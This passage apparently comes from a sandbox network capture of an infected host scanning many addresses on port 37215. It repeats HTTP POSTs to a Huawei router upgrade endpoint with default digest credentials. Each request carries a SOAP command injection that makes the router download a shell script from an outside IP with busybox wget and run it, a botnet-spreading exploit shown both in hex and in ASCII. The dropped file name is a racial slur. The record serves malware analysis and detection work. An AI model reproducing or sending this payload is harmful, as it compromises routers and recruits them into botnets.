Feb 19, 2024 18:36:22.267405033 CET	18052	37215	192.168.2.15	186.236.3.60
Feb 19, 2024 18:36:22.267419100 CET	18052	37215	192.168.2.15	186.58.232.191
Feb 19, 2024 18:36:22.267435074 CET	18052	37215	192.168.2.15	186.151.195.218
Feb 19, 2024 18:36:22.267451048 CET	18052	37215	192.168.2.15	186.19.110.157
Feb 19, 2024 18:36:22.267467976 CET	18052	37215	192.168.2.15	186.166.15.165
Feb 19, 2024 18:36:22.267481089 CET	18052	37215	192.168.2.15	186.79.117.68
Feb 19, 2024 18:36:22.267492056 CET	18052	37215	192.168.2.15	186.62.230.80
Feb 19, 2024 18:36:22.267512083 CET	18052	37215	192.168.2.15	186.135.142.90
Feb 19, 2024 18:36:22.267528057 CET	18052	37215	192.168.2.15	186.171.136.152
Feb 19, 2024 18:36:22.267548084 CET	18052	37215	192.168.2.15	186.172.121.113
Feb 19, 2024 18:36:22.267573118 CET	18052	37215	192.168.2.15	186.116.46.129
Feb 19, 2024 18:36:22.267573118 CET	18052	37215	192.168.2.15	186.219.10.98
Feb 19, 2024 18:36:22.267585039 CET	18052	37215	192.168.2.15	186.66.240.193
Feb 19, 2024 18:36:22.267601967 CET	18052	37215	192.168.2.15	186.206.55.120
Feb 19, 2024 18:36:22.267618895 CET	18052	37215	192.168.2.15	186.186.126.91

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.15	42970	94.122.13.243	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312277079 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.15	38596	94.123.123.8	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312535048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.15	59224	94.123.111.123	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312633038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.15	57108	94.120.227.12	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312726021 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.15	41814	94.122.84.186	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312827110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.15	49806	94.121.96.158	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.312925100 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.15	45592	94.121.212.153	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.313034058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.15	52530	94.120.2.253	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.313114882 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.15	48622	94.121.33.253	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:22.313211918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 